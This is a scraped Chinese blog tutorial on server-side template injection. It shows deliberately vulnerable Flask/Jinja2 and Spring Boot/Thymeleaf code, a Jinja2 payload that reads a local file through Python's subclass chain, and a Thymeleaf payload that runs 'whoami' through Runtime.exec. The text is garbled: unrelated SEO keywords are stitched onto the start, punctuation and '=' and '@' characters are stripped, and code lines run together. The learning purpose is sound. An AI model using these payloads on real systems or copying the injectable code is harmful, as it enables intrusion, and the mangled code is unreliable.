营销型网站具备的二大能力,织梦建站模板,动易网站内容管理系统,那些网站可以做自媒体文章目录 一、什么是SSTI#xff1f;二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI#xff1f;
SSTI#xff08;Server-Side Template Injection#xff09;是一种服务器端模板注入漏洞#xff0c;它出现在使用模板引擎的W… 文章目录 一、什么是SSTI二、python 中的 Jinja2 漏洞验证三、Java 的 Thymeleaf 模版漏洞验证四、小结 一、什么是SSTI
SSTIServer-Side Template Injection是一种服务器端模板注入漏洞它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而如果在构建模板时未正确处理用户输入就可能导致SSTI漏洞的产生。
常用语言产生SSTI漏洞有哪些呢
二、python 中的 Jinja2 漏洞验证
环境搭建 #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time : 2024/3/10 21:00
# Author : liWen
# File : sstiTest.py
# Software: PyCharm
# Desc : SSTI 模板注入学习from flask import Flask
app Flask(__name__)app.route(/)
app.route(/index)
def index():return ssti 模版漏洞学习if __name__ __main__:app.run()访问页面显示
简单环境搭建成功后开始编写 SSTI 漏洞代码参考如下
访问不存在页面就会提示下面信息
当输入错误页面并且携带参数404时页面显示 验证是否有漏洞 输入{{2/2}}1.0 表示已经开始计算。
再次输入.__class__.__bases__[0].__subclasses__()
提示
很多文章都说到Python 在导入os模块时会和 warning.catch_warnings 相关所以我就在终端遍历上面数据获取的数据参考如下 ss .__class__.__bases__[0].__subclasses__()for index, element in enumerate(ss):
... print(fIndex: {index}, Element: {element})
...
Index: 0, Element: class type
Index: 1, Element: class weakref
.....
......
......Index: 140, Element: class types._GeneratorWrapper
Index: 141, Element: class warnings.WarningMessage
Index: 142, Element: class warnings.catch_warnings
Index: 143, Element: class importlib.abc.Finder
Index: 144, Element: class importlib.abc.Loader
Index: 145, Element: class importlib.abc.ResourceReader
Index: 146, Element: class operator.itemgetter之后在 Pycharm 中输入
在 bachbar 插件中执行
http://127.0.0.1:5000/7dgroup?404{{.__class__.__bases__[0].__subclasses__()[142].__init__.__globals__[%27__builtins__%27][%27open%27](%27/Users/liwen/PycharmProjects/suanfa/ssit/templates/ss.txt%27).read()}}结果显示 能读取文件信息那么就能执行命令,在验证过程中执行“ls”等一系列命令后都没有出现安全漏洞估计是版本问题。
网上公布相关安全漏洞后先验证是不是该版本导致漏洞如果是能否先通过升级版本解决该漏洞如果不能再想一想怎么把风险降到最低减少资产损失。
三、Java 的 Thymeleaf 模版漏洞验证
官方网站 https://www.thymeleaf.org/ Thymeleaf 是一款用于渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 内容的模板引擎。它与 JSPVelocityFreeMaker 等模板引擎类似也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比Thymeleaf 最大的特点是即使不启动 Web 应用也可以直接在浏览器中打开并正确显示模板页面Thymeleaf 支持 HTML 原型其文件后缀为“.html”因此它可以直接被浏览器打开此时浏览器会忽略未定义的 Thymeleaf 标签属性展示 thymeleaf 模板的静态页面效果当通过 Web 应用程序访问时Thymeleaf 会动态地替换掉静态内容使页面动态显示。 环境搭建springbot Thymeleaf 实现新建项目选择 Thymeleaf 模版解析器
点击创建即可IDEA 就能显示项目
添加 index 模版: !DOCTYPE html
html langen xmlns:thhttp://www.thymeleaf.org
headmeta charsetUTF-8title学习 ssti 注入 /title
/head
body
h1学习 ssti 注入/h1
span th:text${data}欢迎您访问静态页面 HTML/span
/body
/html添加后端代码:
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;/*** description: 首页ssti模版漏洞解析学习* author: 李文* create: 2024-03-10 19:48**/
Controller
public class IndexController {/*** 模版解析** param model* param data* return*/RequestMapping(value /thymeleaf/index)public String index(Model model, RequestParam String data) {model.addAttribute(data, data);return index;}
}
默认springboot 中的 thymeleaf 开启缓存不利于调试这里先关闭
#thymeleaf 页面的缓存开关默认 true 开启缓存
#建议在开发阶段关闭 thymeleaf 页面缓存目的实时看到页面
spring.thymeleaf.cachefalse
#前缀thymeleaf 模版前缀,默认可以不写
spring.thymeleaf.prefixclasspath:/templates/
# 后缀thymeleaf 模版后缀,默认可以不写
spring.thymeleaf.suffix.html启动项目后在浏览器访问8080端口验证项目是否启动成功?
再次请求之前定义好的模版请求
http://localhost:8080/thymeleaf/index?data7dgrouup浏览器显示
再次修改代码
/*** 验证ssti是否有漏洞** param data* return*/GetMapping(value /thymeleaf/ssti)public String indexSsti(RequestParam String data) {return page/ data;}再次执行命令
http://localhost:8080/thymeleaf/ssti?data__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x结果显示
后台代码显示
发现漏洞并没有显示出来网上有很多资料这样执行是会出现当前用户信息估计是sprintbootthymeleaf 在特定版本会出现漏洞目前使用的我版本是
parentgroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-parent/artifactIdversion3.2.3/versionrelativePath/ !-- lookup parent from repository --/parent
------------dependencygroupIdorg.thymeleaf/groupIdartifactIdthymeleaf-spring6/artifactIdversion3.1.2.RELEASE/versionscopecompile/scope/dependency-----------JDK版本为
java.version17/java.version四、小结
上面是验证的过程虽然漏洞没有验证出来但是对自己学习安全测试并且验证是否存在安全漏洞有初步的尝试经验 。